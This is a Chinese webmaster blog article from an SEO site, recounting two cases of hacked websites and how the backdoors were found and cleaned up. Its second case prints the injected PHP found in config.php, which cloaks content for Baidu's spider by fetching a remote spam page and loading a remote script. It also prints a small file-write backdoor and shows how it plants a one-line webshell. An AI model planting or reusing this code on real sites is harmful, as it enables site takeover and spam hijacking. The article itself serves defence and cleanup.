当前位置:网站首页 > 资讯百科 > 网站建设 > 正文

如何解决网站被挂马(检查网站有没有被挂马)

三石哥三石哥 2023-01-13 11:52:02 228

记一次网站被挂马的原因排查(附处理过程)

记一次网站被挂马原因排查分析流程。昨天一台服务器被挂马,幸好自己对服务器略有熟悉第一时间把隐藏在网站源码中的木马文件进行处理。相信站长SEO们在日常网站优化过程中经常会遇到网站被黑恶意劫持的问题。网站被挂马怎么处理,如何进行排查呢?

本文结合自己的处理流程进行梳理并分享。

1)服务器防御性非常重要

多数站长选择便宜的不可靠的服务器,这往往最容易被入侵攻击。廉价的服务器机房基本上不会开启安全防护功能,入侵者利用漏洞轻松可以进行提权操作。

我本人一直使用大厂的服务器产品,推荐使用阿里云、腾讯云、百度云等,相对来说比小厂有保障些。前些天我的一台阿里云服务器收到安全风险提示短信,第一时间登录阿里云后台,找到云盾系统消息提示发现后门webshell文件,如下图:

如何解决网站被挂马(检查网站有没有被挂马)

系统会提供具体的后门文件的路径位置,根据这些信息可以快速定位到网站程序中的PHP木马后门文件。如下图所示:

如何解决网站被挂马(检查网站有没有被挂马)

一般人还真不太好发现,藏的够深啊 ,还有很强的模仿能力。

这是第二个网页后门文件,命名跟其他图片一样,一般很难发现。下图所示

如何解决网站被挂马(检查网站有没有被挂马)

我进行了下载方便后面进一步的分析研究。建议立即删除php后门文件。

如何解决网站被挂马(检查网站有没有被挂马)

电脑杀毒软件也进行了查杀报毒

2)彻底清查整站程序源码

一般情况下当网站被黑恶意跳转,百分百中招应该做的就是针对网站进行彻底的清查。

具体方法,网站管理面板对站点进行打包下载,电脑本地使用网马查杀软件进行分析。

建议使用 D盾Web查杀(webshell查杀) 工具,如下图:

如何解决网站被挂马(检查网站有没有被挂马)

D盾webshell查杀软件

如果你对源码不了解,请联系你的网站开发人员或者是模板制作人员协助处理。(一般会收取费用)应该第一时间把隐藏的风险文件和后门程序进行剔除。(记得网站原始数据进行备份)

确定处理干净之后的源码重新传到网站主机当中,确保网站正确运行即可。

强化安全操作:

  • 修改网站后台密码的复杂性和长度;

  • 修改服务器管理面板的控制权限;

  • 修改FTP账号密码等信息;

  • 检查服务器的安全日志修补漏洞 ;

  • 购买服务器厂商的安全防护类产品等;

3)分析网站后门Wehshell文件

为了进行研究和学习,我特意把查杀出来的几个后门文件进行分析:如下图

如何解决网站被挂马(检查网站有没有被挂马)

打开其中PHP后门文件查看代码

如何解决网站被挂马(检查网站有没有被挂马)

为了大家方便查看,把PHP后门放到本地PHP环境中运行给大家看看后门程序的功能。

如何解决网站被挂马(检查网站有没有被挂马)

密码就是上图的红框标记出来的,进行MD5解密后得到admins

如何解决网站被挂马(检查网站有没有被挂马)

入侵者通过自己的后门PHP入口,可以轻松获得你服务器主机的各种权限和操作,如下图:

如何解决网站被挂马(检查网站有没有被挂马)

吓出一身冷汗!!!

另外一个后门PHP文件登录后的界面和功能

如何解决网站被挂马(检查网站有没有被挂马)

严重性就不多说了,网站的安全性多么重要啊。做为站长SEO人员一定要及时发现漏洞和后门,及时处理做好防护,后果不堪设想。

4)后续安全终极操作与防护

之前有写过一篇关于虚拟主机安全文章《网站被篡改劫持怎么修复》 有兴趣可以点击进行查看。

我自己使用的是服务器,管理环境面板是宝塔,安装相应的防火墙和系统加固功能来实现。

如何解决网站被挂马(检查网站有没有被挂马)

提示,宝塔环境面板是目前服务器网站环境最好用的,建议新手服务器环境配置首选 宝塔BT面板。

这里有关使用的文章 BT.CN宝塔面板环境安装流程(图文教程)新手请查看。

相关安全配置功能,在自己的宝塔面板中可以购买开启,有些功能需要购买付费。

(Nginx防火墙功能及配置图)

如何解决网站被挂马(检查网站有没有被挂马)

(宝塔网站防篡改功能及配置图2)

如何解决网站被挂马(检查网站有没有被挂马)

(宝塔系统加固功能及配置图3)

最后:关于一次服务器入侵后门网马的过程就分享这么多,切记一点,选择好的服务器,及时发现并监控网站安全,不要等到网站问题放大严重后果,百度惩罚流量下滑再处理就为时以晚了。

网站挂马劫持经典案例分析「黑链清除思路」

劫与被劫的网站遇过不少,时隔一年左右今天偶然又遇到一位网友求助的网站劫持问题,因为这个问题我竟然没有直接分析出挂马方式,因为稍微有点特别今天想详细的给大家分解一下常规挂马方式与清理思路。

网站挂马劫持的必然性

一般情况下你的网站并不是被特地入侵的,一般出于报复专门入侵你的网站也不会明目张胆的来劫持。

所以一般网站劫持会被用来发布灰色广告,或者被用来做黑帽SEO。之所以你的网站被入侵,是挂马者使用批量getshell工具,根据某个漏洞来批量拿到具有相同漏洞的网站,然后再将相关劫持代码加入到你的网站程序中,而这一系列动作都是用工具批量完成。

其实在我看来,如果发现你的网站被挂马劫持,你其实可以乐观一点,起码你会知道你的网站存在严重的漏洞,却只是被工具劫持了,而不是被同行所利用,如果被专门的入侵者拿下,一般就不会简简单单的给你挂个马了,具体会严重的什么程度?这要看心情了,不开玩笑,而恰巧你又不太懂,如果木马隐藏的好,这匹马将伴随你终身,白头到老。

挂马症状

长话短说,一般你会在搜索结果搜索相关关键词,或者自己的网址,看到的标题可能不是自己的网站标题,点击进去可能会跳转到其他地方,或者进去后发现网站已物是人非。

如:

如何解决网站被挂马(检查网站有没有被挂马)

本来是一个PS网站标题变成羞羞的内容,而内容已经不(wo)堪(hen)入(xi)目(huan)

劫持分析

这种情况很明显挂马脚本对user-agent进行了判断,如果user-agent是百度蜘蛛,那么将返回广告。

一般会在网站程序插入JS,或者在php或者其他程序中插入代码,如果是js,一般只要远程调用一个就可以实现劫持,插入代码量很少。

上面说到的这个凤楼……呸,是PS网我一开始习惯性的判断为js劫持。于是我往着错误的方向开始了分析之旅。

第一步:审核元素中查看网络连接

网站正常打开的时候先看看没有加载异常的脚本

如何解决网站被挂马(检查网站有没有被挂马)

其中加载的js都打开简单看下没有发现异常的脚本,这时候就有点慌了啊,没有引入外部脚本,那就可能隐藏在现有的JS中,一般隐藏也是加密后的,比较难以发现,于是每个js文件按个检查一遍,依旧没有任何发现。

第二步:抓包分析

第一步没有直接分析出来,一般要么马隐藏的深,要么就是根本不是用的JS,那么需要抓包分析,怎么抓?这里就不说那么多了,可以在我以前的文章中找找。

先重现跳转的情景:

设置浏览器user-agent 为百度蜘蛛,这里我祭上一个超级好用的chrome插件

如何解决网站被挂马(检查网站有没有被挂马)

先用burpsuite抓一下看看,不过要先配置下不过滤JS脚本,

如何解决网站被挂马(检查网站有没有被挂马)

配置好代理,回车,走你

如何解决网站被挂马(检查网站有没有被挂马)

get首页,肯定没毛病,forward一下,这一下就相当重要了,如果下一步抓到js,首页还没跳,说明js搞鬼,而真相就是……没抓到js,出来直接抓到一个html页面,这个页面却是404,然后篡改的首页直接蹦出来了!

如何解决网站被挂马(检查网站有没有被挂马)

这说明?

说明程序直接在加载首页文件,也就是index.php的时候就开始捣鬼了。

至此可以判断为php挂马,在前端寻觅已经没有什么有用信息了。

第三步:找木马

这时候妹纸把网站程序源码包发过来了,ps:妹纸防备着呢,不给服务器权限,但是给了源码还是给了一切啊!虽然没有什么可利用的地方,但我起码知道里面绝对藏着shell呢!

一般挂马程序都是会直接把黑链代码插到index.php中,不会判断太多,这种情况出现在企业站中比较多,所以很自然的打开index.php,发现没有异常,也没有include异常php文件。

看到这里瞬间觉得这个套路还是有点深度的,起码没那么明显。

继续找加载的文件,这时候脑洞大开,直接去找数据库配置文件,然后就这么结束了这段捉马旅程,没错,马就在config.php文件中

<?phpif(ereg("http://www.baidu.com/search/spider.htm", $_SERVER ["HTTP_USER_AGENT"])) { $file = file_get_contents('http://z.*****.com/jie/70.html'); echo$file; exit; } if(stristr ($_SERVER['HTTP_REFERER'],"http://www.baidu.com")) { echo"<script language='javascript' src='http://z.sloufeng.com/jc.js'></script><br/>"; exit; } ?>

简单分析一下,这已经是最简单的劫持代码了,判断user-aget 如果是百度蜘蛛,把网页:http://z.******.com/jie/70.html内容输出,没错,这里面就是你想要的凤楼信息;然后判断referer是否为www.baidu.com,是的话加载下面的js,这个js里面又是一层判断,弹出其他页面,反正就是业务繁多,还有菠菜等页面。

其实我没有找太多相关的php文件,因为很明显这个马就是批量实现的,程序也不会智能的过分把马藏那么深,数据库文件肯定要加载的,结果就在里面,而且都没有加密,差评!

第四步:找shell

下面就是找shell了,我没有详细的去找,只是在同目录下发现一个后门,挺简单 的

<?php$dq = fopen($_SERVER["DOCUMENT_ROOT"].'/config/jc.php','w+'); fwrite($dq,$_GET['msg']); ?>

www.xxx.com/config/file.php?msg=一句话木马

这样就将一句话写到该目录下jc.php

最最后,希望大家的网站都平安无事,稳定 ,排名节节高。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 3561739510@qq.com 举报,一经查实,本站将立刻删除。

转载请注明来自专注SEO技术,教程,推广 - 8848SEO,本文标题:《如何解决网站被挂马(检查网站有没有被挂马)》

标签:

关于我

关注微信送SEO教程

搜索
最新文章
热门文章
热门tag
抖音提升网站排名优化百度SEO优化网站优化提高网站排名SEO优化技巧抖音小店SEO优化seo优化网站SEO优化网站排名seo网站优化seo小红书关键词优化百度SEO排名SEO优化排名关键词排名搜索引擎优化
友情链接